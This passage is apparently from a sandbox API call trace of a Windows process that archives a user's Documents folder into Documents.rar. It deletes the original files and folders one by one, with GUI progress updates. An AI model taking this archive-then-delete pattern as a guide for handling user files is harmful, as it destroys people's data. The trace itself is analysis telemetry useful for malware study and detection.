Documents.rar") returned 30 [0087.895] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.895] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.895] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.896] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.896] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.896] SetWindowTextW (hWnd=0x10300, lpString="WKv89hDvOzA.pptx") returned 1 [0087.896] GetTickCount () returned 0x2bbf3 [0087.896] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.896] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.896] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.897] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.897] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="WKv89hDvOzA.pptx") returned 16 [0087.897] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.897] GetTickCount () returned 0x2bbf3 [0087.897] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17923111805) returned 1 [0087.903] GetTickCount () returned 0x2bc03 [0087.903] GetTickCount () returned 0x2bc03 [0087.903] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.903] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\r2r4mflana2enke.odp")) returned 1 [0087.904] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.904] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.904] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.904] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.904] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.904] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.904] SetWindowTextW (hWnd=0x10300, lpString="R2r4mFlAna2enKE.odp") returned 1 [0087.905] GetTickCount () returned 0x2bc03 [0087.905] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.905] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.905] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.905] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.905] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="R2r4mFlAna2enKE.odp") returned 19 [0087.905] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.905] GetTickCount () returned 0x2bc03 [0087.906] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17923415324) returned 1 [0087.906] GetTickCount () returned 0x2bc03 [0087.906] GetTickCount () returned 0x2bc03 [0087.906] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.906] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\qrqlcl.csv")) returned 1 [0087.907] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.907] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.907] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.907] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.907] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.907] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.907] SetWindowTextW (hWnd=0x10300, lpString="QrQLcl.csv") returned 1 [0087.908] GetTickCount () returned 0x2bc03 [0087.908] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.908] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.908] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.908] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.908] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="QrQLcl.csv") returned 10 [0087.908] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.908] GetTickCount () returned 0x2bc03 [0087.908] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17923709041) returned 1 [0087.909] GetTickCount () returned 0x2bc03 [0087.909] GetTickCount () returned 0x2bc03 [0087.909] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.909] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\XCn-HpOwlmV9G3Gdf9O.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\k qthybav\\xcn-hpowlmv9g3gdf9o.ods")) returned 1 [0087.910] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.910] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.910] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.910] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.910] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.910] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.910] SetWindowTextW (hWnd=0x10300, lpString="XCn-HpOwlmV9G3Gdf9O.ods") returned 1 [0087.911] GetTickCount () returned 0x2bc03 [0087.911] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.911] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.911] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.911] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.911] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="XCn-HpOwlmV9G3Gdf9O.ods") returned 23 [0087.911] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.911] GetTickCount () returned 0x2bc03 [0087.911] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17924005872) returned 1 [0087.911] GetTickCount () returned 0x2bc03 [0087.911] GetTickCount () returned 0x2bc03 [0087.912] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.912] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\k qthybav\\l_jtuzx b2fvsonpf.docx")) returned 1 [0087.927] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.927] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.927] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.927] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.928] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.928] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.928] SetWindowTextW (hWnd=0x10300, lpString="L_jtuZX b2fVSoNPf.docx") returned 1 [0087.928] GetTickCount () returned 0x2bc12 [0087.928] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.928] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.928] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.929] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.929] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="L_jtuZX b2fVSoNPf.docx") returned 22 [0087.929] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.929] GetTickCount () returned 0x2bc22 [0087.929] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17925804232) returned 1 [0087.929] GetTickCount () returned 0x2bc22 [0087.930] GetTickCount () returned 0x2bc22 [0087.930] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.930] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.930] GetFocus () returned 0x1031c [0087.930] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.930] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\l 4nHi8sklRbErgBL.pps" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\k qthybav\\l 4nhi8sklrbergbl.pps")) returned 1 [0087.942] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.942] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.942] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.942] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.942] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.942] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.942] SetWindowTextW (hWnd=0x10300, lpString="l 4nHi8sklRbErgBL.pps") returned 1 [0087.943] GetTickCount () returned 0x2bc22 [0087.943] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.943] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.943] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.943] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.943] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="l 4nHi8sklRbErgBL.pps") returned 21 [0087.943] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.943] GetTickCount () returned 0x2bc22 [0087.943] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17927208697) returned 1 [0087.944] GetTickCount () returned 0x2bc22 [0087.944] GetTickCount () returned 0x2bc22 [0087.944] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.944] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.944] GetFocus () returned 0x1031c [0087.944] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.946] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\k qthybav")) returned 1 [0087.951] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.951] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.951] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.951] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.952] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.952] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.952] SetWindowTextW (hWnd=0x10300, lpString="K qThybav") returned 1 [0087.952] GetTickCount () returned 0x2bc32 [0087.952] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.952] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.952] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.952] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.952] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="K qThybav") returned 9 [0087.952] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.953] GetTickCount () returned 0x2bc32 [0087.953] GetLastError () returned 0x0 [0087.953] SetLastError (dwErrCode=0x0) [0087.953] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0087.953] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0087.953] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 35%") returned 5 [0087.953] SetWindowTextW (hWnd=0x10302, lpString=" 45%") returned 1 [0087.953] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x2d, lParam=0x0) returned 0x23 [0087.953] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17928197459) returned 1 [0087.953] GetTickCount () returned 0x2bc32 [0087.953] GetTickCount () returned 0x2bc32 [0087.953] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.953] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.954] GetFocus () returned 0x1031c [0087.954] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.954] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\99y9.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\99y9.odt")) returned 1 [0087.955] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.956] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.956] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.956] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.956] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.956] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.956] SetWindowTextW (hWnd=0x10300, lpString="99y9.odt") returned 1 [0087.957] GetTickCount () returned 0x2bc32 [0087.957] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.957] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.957] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.957] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.957] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="99y9.odt") returned 8 [0087.957] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.957] GetTickCount () returned 0x2bc32 [0087.957] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17928586139) returned 1 [0087.957] GetTickCount () returned 0x2bc32 [0087.957] GetTickCount () returned 0x2bc32 [0087.957] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.957] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.957] GetFocus () returned 0x1031c [0087.957] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.958] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\3k35zmjoiqgyrohkpmkk.pdf")) returned 1 [0087.962] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.963] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.963] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.963] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.964] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.964] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.965] SetWindowTextW (hWnd=0x10300, lpString="3k35ZmjoIQgYRoHKpmkK.pdf") returned 1 [0087.965] GetTickCount () returned 0x2bc41 [0087.965] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.965] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.965] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.965] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.965] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="3k35ZmjoIQgYRoHKpmkK.pdf") returned 24 [0087.965] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.966] GetTickCount () returned 0x2bc41 [0087.966] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17929429624) returned 1 [0087.966] GetTickCount () returned 0x2bc41 [0087.966] GetTickCount () returned 0x2bc41 [0087.966] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.966] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.966] GetFocus () returned 0x1031c [0087.966] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.966] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z")) returned 1 [0087.969] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.969] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.969] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.969] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.970] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.970] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.970] SetWindowTextW (hWnd=0x10300, lpString="NHc9hBVFvdQ5Z") returned 1 [0087.970] GetTickCount () returned 0x2bc41 [0087.970] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.970] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.970] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.971] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.971] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="NHc9hBVFvdQ5Z") returned 13 [0087.971] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.971] GetTickCount () returned 0x2bc41 [0087.971] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17929970266) returned 1 [0087.971] GetTickCount () returned 0x2bc41 [0087.971] GetTickCount () returned 0x2bc41 [0087.971] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.971] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\jlf_v3jmdmbqkd.ots")) returned 1 [0087.973] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.973] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.973] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.973] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.973] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.973] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.973] SetWindowTextW (hWnd=0x10300, lpString="jLF_V3JmdmbQkD.ots") returned 1 [0087.984] GetTickCount () returned 0x2bc51 [0087.984] UpdateWindow (hWnd=0x102f8) returned 1 [0087.984] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.984] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.984] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.985] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.985] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="jLF_V3JmdmbQkD.ots") returned 18 [0087.985] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.985] GetTickCount () returned 0x2bc51 [0087.985] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17931374379) returned 1 [0087.985] GetTickCount () returned 0x2bc51 [0087.985] GetTickCount () returned 0x2bc51 [0087.985] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.985] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.985] GetFocus () returned 0x1031c [0087.985] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.985] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\jfyqrf.csv")) returned 1 [0087.986] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.987] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.987] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.987] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.987] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.987] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.987] SetWindowTextW (hWnd=0x10300, lpString="jfYQRF.csv") returned 1 [0087.987] GetTickCount () returned 0x2bc51 [0087.987] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.987] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.987] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.988] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.988] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="jfYQRF.csv") returned 10 [0087.988] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.988] GetTickCount () returned 0x2bc51 [0087.988] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17931674388) returned 1 [0087.988] GetTickCount () returned 0x2bc51 [0087.988] GetTickCount () returned 0x2bc51 [0087.988] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.988] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.988] GetFocus () returned 0x1031c [0087.988] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.989] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\qx eo7hw.odt")) returned 1 